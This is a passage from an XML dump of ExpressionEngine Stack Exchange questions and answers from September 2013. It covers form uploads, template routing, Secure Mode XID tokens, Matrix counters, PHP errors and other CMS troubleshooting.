name=&quot;toAddy&quot; value=&quot;test@example.com&quot; /&amp;gt;&#xA;   &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;mail&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And this also generated the error page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at a web console in FF, nothing is generated at all. I simply cannot find any specific error information anywhere which can lead me to a next step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody seen this, or does anybody have an suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andy&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2013-09-29T21:37:51.727" Title="Have forms been broken by new security issue?" Tags="|forms|ee2-upgrades|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14123" PostTypeId="1" CreationDate="2013-09-27T09:47:54.000" Score="2" ViewCount="147" Body="&lt;p&gt;I have a Safecracker form that contains a Matrix field, that contains an Assets field. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to handcraft the matrix field as per this article:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Whilst using an Asset field?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found this SE question that relates to using a simple HTML file field in for Assets:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7437/simple-html-file-field-uploads-with-assets-and-safecracker&quot;&gt;Simple HTML file field uploads with Assets and Safecracker&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;However I cannot get this to work when it sit's inside a Matrix field. I'm using the code below; &lt;strong&gt;assets_file&lt;/strong&gt; is the name of the Matrix field, and the 2nd Matrix Column is a textfield which saves to the database on submission OK.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;asset&quot; return=&quot;/assets/upload/success&quot;}&#xA;&#xA;  {!-- Row Order Value --}&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;asset_files[row_order][]&quot; value=&quot;row_new_0&quot;&amp;gt;&#xA;&#xA;  {!-- 1st Column Asset Field --}&#xA;  &amp;lt;input type=&quot;file&quot; name=&quot;asset_files[row_new_0][col_id_1]&quot; value=&quot;&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;asset_files[row_new_0][col_id_1]_filedir&quot; value=&quot;2&quot;&amp;gt;&#xA;&#xA;  {!-- 2nd Column Text Field --}&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;asset_files[row_new_0][col_id_2]&quot; value=&quot;&quot;&amp;gt;&#xA;&#xA;  {!-- Title &amp;amp; URL Title fields removed for simplicity --}&#xA;&#xA;  &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried using the name of &lt;strong&gt;asset_files_filedir&lt;/strong&gt; for the hidden field of the 1st Column Asset Field, but it doesn't make a difference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To clarify the form submits successfully - creates the entry and even adds the 2nd Column Text Field to the matrix field. It is only the file that doesn't get uploaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose I asking if this is possible, and if so does anyone know how would I do this?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;EE: 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Safecracker: 2.1&lt;/li&gt;&#xA;&lt;li&gt;Matrix: 2.5.5&lt;/li&gt;&#xA;&lt;li&gt;Assets: 2.1.4&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="261" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-09-27T09:47:54.000" Title="Simple HTML file field uploads for an Assets field that appears in a Matrix field in a Safecraker form" Tags="|matrix|assets|safecracker|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14124" PostTypeId="2" ParentId="14121" CreationDate="2013-09-27T09:50:41.467" Score="3" Body="&lt;p&gt;The basics are that a template is based on the URL, so say you have your default template group as &quot;site&quot;, &quot;site/index&quot; will be your homepage - so your initial design can go in there. So that you can share elements (header, footer, etc), you might be using embeds to other templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you create other templates they will then be accessible on URL, so creating another template in the &quot;site&quot; group called &quot;about&quot; can contain completely different design template and be accessible via /about.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may also mean using different template groups, for example creating a &quot;blog&quot; template group, would mean the URL /blog would go to the &quot;index&quot; of that template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can route it through the &quot;index&quot; template...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;includes/head&quot;}&#xA;{embed=&quot;includes/header&quot;}&#xA;{if &quot;{segment_1}&quot; == &quot;&quot;}&#xA;    {!-- HOMEPAGE --}&#xA;    {embed=&quot;content/homepage&quot;}&#xA;{if:else}&#xA;    {embed=&quot;content/content-page&quot;}&#xA;{/if}&#xA;{embed=&quot;includes/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above will share the same header and footer templates, but allow complete freedom in different content templates. 2 new template groups are utilised in the above (includes and content). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could approach it using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;homepage&quot;...}&#xA;    HOMEPAGE CONTENT&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;content&quot;...}&#xA;    CONTENT CONTENT&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the overhead would be much greater and not recommended. In the same way that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;site/index template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries}&#xA;    {embed=&quot;content/{channel_short_name}&quot;}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will embed different templates based on your channel name (other templates would be in the &quot;content&quot; template group and named to match the channel short name). But again, will have the minor overhead of the initial channel:entries just to determine the channel - better to use segment conditionals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are many ways to approach EE, some right, some wrong, some clean, some messy, but ultimately it's what you prefer and what works for what you're trying to achieve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To name but a few places to start...&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://buzzingpixel.com/article/2012/01/expressionengine-basics&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Basics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/how_to/building_a_simple_news_site.html&quot; rel=&quot;nofollow&quot;&gt;Building a Simple News Site from Start to Finish&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.youtube.com/playlist?list=PL07271CFF71F8FF22&amp;amp;feature=plcp&quot; rel=&quot;nofollow&quot;&gt;Level Up Tuts&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.train-ee.com&quot; rel=&quot;nofollow&quot;&gt;Train-ee&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-09-27T09:50:41.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14125" PostTypeId="1" CreationDate="2013-09-27T10:52:17.577" Score="1" ViewCount="261" Body="&lt;p&gt;I'm getting the following PHP error in the console when trying to open up the image information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h4&amp;gt;A PHP Error was encountered&amp;lt;/h4&amp;gt;&#xA;&amp;lt;p&amp;gt;Severity: Warning&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Message: DateTime::__construct() [&amp;lt;a href='datetime.--construct'&amp;gt;datetime.--construct&amp;lt;/a&amp;gt;]: Failed to parse time string (@1.376583824E+12) at position 11 (4): Unexpected character&amp;lt;/p&amp;gt; &amp;lt;p&amp;gt;Filename: libraries/Localize.php&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;Line Number: 290&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This happens within an entry, in File Manager, on an existing image and a newly uploaded image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Running EE 2.6.1 and Assets 2.1.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2112" LastActivityDate="2013-09-27T10:52:17.577" Title="I'm getting a &quot;Failed to parse time string&quot; PHP error in Assets when trying to open the file information" Tags="|assets|pixelandtonic|php-errors|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14126" PostTypeId="2" ParentId="14121" CreationDate="2013-09-27T11:13:01.477" Score="0" Body="&lt;p&gt;You may want to look at the Pages module that ships with EE. It will let you define custom URLs and also select which template to use for specific entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does, however, break out of the standard EE URL structure which is important to understand if you're building with EE.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-09-27T11:13:01.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14127" PostTypeId="1" AcceptedAnswerId="14272" CreationDate="2013-09-27T11:29:35.547" Score="2" ViewCount="495" Body="&lt;p&gt;Got a site that want to use tracking in URLS like &lt;a href=&quot;http://domain.com/segment_1/segment_2/?utm_campaign=google&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/segment_1/segment_2/?utm_campaign=google&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now this works fine locally but on the production server, it renders the 404.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On MAMP I've set the config['uri_protocol'] = 'PATH_INFO' and have tried this in production but still get the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-10-02T20:40:21.380" Title="query string params" Tags="|url|segments|parameters|path|google-analytics|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14128" PostTypeId="1" AcceptedAnswerId="14131" CreationDate="2013-09-27T11:46:11.070" Score="0" ViewCount="221" Body="&lt;p&gt;Is there anyway, or any plans to add the ability to create custom metadata fields for (Pixel &amp;amp; Tonic's) Assets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't see any references on the docs, nor any content on the web directly relating to this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="261" LastActivityDate="2013-12-23T12:38:56.610" Title="Custom asset metadata fields" Tags="|assets|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14129" PostTypeId="2" ParentId="14122" CreationDate="2013-09-27T12:07:49.970" Score="14" Body="&lt;p&gt;It seems that for whatever reason my 2.5.3 was permitting these forms to function even though &lt;strong&gt;&quot;Process form data in Secure Mode?&quot;&lt;/strong&gt; was set to YES. After the upgrade to 2.7 this restriction began to be enforced on my admin forms as well.  The solution comes in two parts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a hidden input field to carry the XID token &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Find and use a suitable value to assign to XID. This turned out to be available through a global variable that had fallen out of the documentation, for whatever reason. The token is {XID_HASH} and will deliver and valid XID at any time. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, your hidden input field will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;XID&quot; value=&quot;{XID_HASH}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and when part of your hand-coded forms, will successfully pass through the Secure Mode restrictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/blog/entry/putting-the-secure-in-secure-mode-forms&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Here is some reading on the subject.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1922" LastEditorUserId="150" LastEditDate="2013-09-29T21:37:51.727" LastActivityDate="2013-09-29T21:37:51.727" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14130" PostTypeId="1" CreationDate="2013-09-27T12:09:26.887" Score="3" ViewCount="1642" Body="&lt;p&gt;I am trying to set up a form on the front-end with channel:form but it doesnt behave. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://supinum.com/bilder/channel-form-file-upload.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;channel-form-file-upload http://supinum.com/bilder/channel-form-file-upload.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Clicking the 'Undo Remove'-link or the 'close-x' on the thumbnail does nothing but add a # to url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is this form lacking? Javascript? css? query? ACTurl-something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works perfectly on a simple local install. There I can reproduce this error by unchecking 'Generate HTTP Page Headers?' in 'Output and Debugging Preferences' But doing this backwards doesnt help me on the more complex live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I look for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/thanks, David&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;&#xA;    &amp;lt;title&amp;gt;upload files&amp;lt;/title&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;{exp:channel:form channel=&quot;formchannel&quot; return=&quot;thank/you&quot;}&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;large-12 columns&quot;&amp;gt;&#xA;        Title&amp;lt;br /&amp;gt;&amp;lt;input name=&quot;title&quot; type=&quot;text&quot;&amp;gt;&#xA;        Photo&amp;lt;br /&amp;gt;{field:photo}&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:form}&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Screendump of error message in Safari:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://supinum.com/bilder/channel_form_error_log.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Screendump of error message in Safari http://supinum.com/bilder/channel_form_error_log.png&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="481" LastEditorUserId="481" LastEditDate="2013-09-30T10:24:26.363" LastActivityDate="2013-10-22T16:53:25.667" Title="Upload file via channel form" Tags="|channel-form|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14131" PostTypeId="2" ParentId="14128" CreationDate="2013-09-27T12:37:43.740" Score="0" Body="&lt;p&gt;you have to use the hook for that - here's a small extension that serves as a good example on how to achieve this - &lt;a href=&quot;https://github.com/pixelandtonic/assets_expiry_date&quot; rel=&quot;nofollow&quot;&gt;https://github.com/pixelandtonic/assets_expiry_date&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In templates you can grab the data using the column name.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-09-27T12:37:43.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14132" PostTypeId="2" ParentId="14130" CreationDate="2013-09-27T13:05:42.763" Score="2" Body="&lt;p&gt;I've had issues with the 2.7 upgrade not deleting Safecracker properly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, check the Modules and Extensions areas of the control panel. If you see Safecracker there, make sure it is uninstalled / disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then look in system/expressionengine/modules directory and see if there is a safecracker directory. After completing the steps above, you can safely remove that directory.&lt;/p&gt;&#xA;" OwnerUserId="197" LastActivityDate="2013-09-27T13:05:42.763" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14133" PostTypeId="1" AcceptedAnswerId="14163" CreationDate="2013-09-27T14:19:49.967" Score="1" ViewCount="82" Body="&lt;p&gt;This code is not working&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wygwam}&#xA;{if element_name==&quot;Kasten&quot;}&#xA;&amp;lt;div class=&quot;panel&quot;&amp;gt;{value}&amp;lt;/div&amp;gt;&#xA;{if:else}&#xA;{value}&#xA;{/if}&#xA;{/wygwam}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When I use this code, all my wygwam fields will be shown, but not with the panel-formatting.&#xA;Just as if the code would be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{wygwam}{value}{/wygwam}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just loop through all wygwam fields and display them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have 2 wygwam fields. One is called &quot;Fliesstext&quot; and the other ist &quot;Kasten&quot;. The &quot;Kasten&quot; (german for box) should get a grey background + a frame to look like a box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a Content Elements or a Wygwam issue? &lt;/p&gt;&#xA;" OwnerUserId="136" LastActivityDate="2013-09-28T12:59:47.467" Title="Can´t use different Wygwam 3.1.2-fields with Content Elements 1.5.5. because element_name is not working" Tags="|wygwam|content-elements|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14134" PostTypeId="1" AcceptedAnswerId="14181" CreationDate="2013-09-27T14:23:14.883" Score="1" ViewCount="60" Body="&lt;p&gt;Using Assets, can I write a conditional which tests against the dimensions of an image? So as an example if an image height is &gt;= 200px add this class, &amp;lt; 200px add that class.&lt;/p&gt;&#xA;" OwnerUserId="2113" LastEditorUserId="2113" LastEditDate="2013-09-30T10:15:36.977" LastActivityDate="2013-09-30T10:15:36.977" Title="Can you write a conditional which tests against image dimensions in Assets?" Tags="|assets|conditionals|file-uploads|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14135" PostTypeId="2" ParentId="14070" CreationDate="2013-09-27T15:27:58.040" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/playa-links&quot; rel=&quot;nofollow&quot;&gt;Playa Links&lt;/a&gt; is just a convenience fieldtype for displaying relationships within the EE control panel entry screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To actually display your data in your templates, you have to use Playa's &lt;a href=&quot;http://docs.pixelandtonic.com/playa/&quot; rel=&quot;nofollow&quot;&gt;field tags or module tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-27T15:27:58.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14137" PostTypeId="1" AcceptedAnswerId="14146" CreationDate="2013-09-27T15:57:41.473" Score="1" ViewCount="826" Body="&lt;p&gt;I'm trying to get a count inside a loop of a Matrix field. Normally I could just do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field}&#xA;  {row_count}&#xA;{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And BAM, that would work perfectly. But not in this case. Because I need to do something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{field}&#xA;  File 1: {image_field_1}&#xA;  Count: {row_count}&#xA;  {if image_field_2}&#xA;   File 2: {image_field_2}&#xA;   Count: ?!&#xA;  {/if}&#xA;  ------&#xA;{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would output something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File 1: images/bobafett.jpg&#xA;Count: 1&#xA;------&#xA;File 1: images/lukeskywalker.jpg&#xA;Count: 2&#xA;------&#xA;File 1: images/jabba.jpg&#xA;Count: 3&#xA;------&#xA;File 1: images/darth.jpg&#xA;Count: 4&#xA;File 2: images/obiwan.jpg&#xA;Count: !?&#xA;------&#xA;File 1: images/r2d2.jpg&#xA;Count: 5&#xA;------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried doing this with PHP:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $count = 1; ?&amp;gt;&#xA;&#xA;{field}&#xA;  File 1: {image_field_1}&#xA;  Count: &amp;lt;?php echo $count; $count++; ?&amp;gt;&#xA;  {if image_field_2}&#xA;   File 2: {image_field_2}&#xA;   Count: &amp;lt;?php echo $count; $count++; ?&amp;gt;&#xA;  {/if}&#xA;  ------&#xA;{/field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I think because of parse order, even entries that don't contain {image_field_2} render the PHP, so the count goes completely out of sync:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;File 1: images/bobafett.jpg&#xA;Count: 1&#xA;------&#xA;File 1: images/lukeskywalker.jpg&#xA;Count: 3&#xA;------&#xA;File 1: images/jabba.jpg&#xA;Count: 5&#xA;------&#xA;File 1: images/darth.jpg&#xA;Count: 6&#xA;File 2: images/obiwan.jpg&#xA;Count: 7&#xA;------&#xA;File 1: images/r2d2.jpg&#xA;Count: 8&#xA;------&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried changing PHP to Output and Input and Output works best for me, because Input just parses '1' for the count every time. I think mainly down to parse order again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried looking for a small plugin to do something like this for me, that would stop PHP being in the template AND would sort any parse order issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;help&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="362" LastEditorUserId="28" LastEditDate="2013-09-27T16:10:09.753" LastActivityDate="2013-09-27T16:43:11.540" Title="Custom Count Loop / Counter" Tags="|matrix|parse-order|loop|count|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14138" PostTypeId="2" ParentId="14137" CreationDate="2013-09-27T16:05:39.503" Score="1" Body="&lt;p&gt;Jason, is JavaScript totally out of the picture for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, what's your PHP expertise like? I've solved similar issues in the past using a custom plugin and a static PHP variable. Basically, you can try setting the channel:entries field around the matrix to parse=&quot;inward&quot;, so it runs first, and have a plugin with a method that outputs and increments a static variable each time it's run. Parsing the outer loop first should help make sure your plugin only runs on actual output. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One tip is you'll want to add the &quot;random&quot; parameter (with no value) to your custom plugin tag, to make sure EE doesn't cache its output. Here's some pseudo-code around that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function current_count()&#xA;{&#xA;    static $count = 0;&#xA;    $count++;&#xA;    return $count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="376" LastActivityDate="2013-09-27T16:05:39.503" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14139" PostTypeId="1" AcceptedAnswerId="14162" CreationDate="2013-09-27T16:06:26.050" Score="1" ViewCount="120" Body="&lt;p&gt;I'm making lookbooks:&#xA;&lt;br&gt;&lt;br&gt;&#xA;Each look has (parent) contains one or more items (children). Each item has a brand. &lt;br&gt;&#xA;E.g. Picture 1 where a girls wears pants of Brand A, t-shirt of Brand B and a jacket of Brand A.&lt;br&gt;&lt;br&gt;&#xA;In my overview of Brand A, i want to show all pictures where the girls wears Brand A once. With this code Picture 1 appears 2x in the overview. How can I get this picture only show up once? &lt;br&gt;&#xA;&lt;br&gt;&#xA;I must be looking at code for too long. I'm sure there's a simple solution to this. Thank you for your help.&lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;items&quot; search:item_brand=&quot;{last_segment}&quot; dynamic=&quot;no&quot;}&#xA;    {exp:playa:parents channel=&quot;looks&quot; require_entry=&quot;yes&quot;}&#xA;                    &amp;lt;img src=&quot;{look_image}&quot; alt=&quot;{title}&quot;&amp;gt;&#xA;    {/exp:playa:parents}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2115" LastEditorUserId="2115" LastEditDate="2013-09-27T16:12:46.113" LastActivityDate="2013-09-30T11:56:46.163" Title="Unique parent entries" Tags="|playa|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14140" PostTypeId="1" CreationDate="2013-09-27T16:15:19.173" Score="1" ViewCount="69" Body="&lt;p&gt;Just a quick question really to anyone who has added a second or third site with EE and MSM. When integrating the second site is there a way round of allowing the client to carry on updating the first site. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is it a case of what we are doing now and stopping the client from updating until the integration of second site has been completed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any views would be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Dave&lt;/p&gt;&#xA;" OwnerUserId="1409" LastActivityDate="2013-09-27T19:24:15.817" Title="Multisite Manager. Adding a second site question" Tags="|ee2|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14141" PostTypeId="1" CreationDate="2013-09-27T16:15:32.917" Score="1" ViewCount="216" Body="&lt;p&gt;Is there any way to specify which template to redirect to after a user resets their password?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, it takes them back to my reset password form, which is odd.&lt;/p&gt;&#xA;" OwnerUserId="434" LastEditorUserId="197" LastEditDate="2013-09-27T22:10:07.663" LastActivityDate="2013-09-27T22:10:07.663" Title="Specify redirect after password reset" Tags="|redirects|solspace-user|password|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14142" PostTypeId="1" CreationDate="2013-09-27T16:19:07.837" Score="2" ViewCount="3145" Body="&lt;p&gt;Moved an EE site (v. 2.6.1) from local to development server.  On the development server, I'm getting the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;&#xA;Message: date_default_timezone_get(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected 'America/Denver' for 'MST/-7.0/no DST' instead&#xA;&#xA;Filename: libraries/Core.php&#xA;&#xA;Line Number: 295&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The site still loads, and I can access the CP, but this obviously is an issue. I host other EE sites on this dedicated server and they don't have the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using master config and have played around with a few settings there from Google research, but nothing has helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The host has kind of left it to me, but I'm at a loss.  Any suggestions on where to start?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-09-28T09:28:08.930" Title="PHP Error - date_default_timezone_get()" Tags="|date|php-errors|timezone|get|default|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
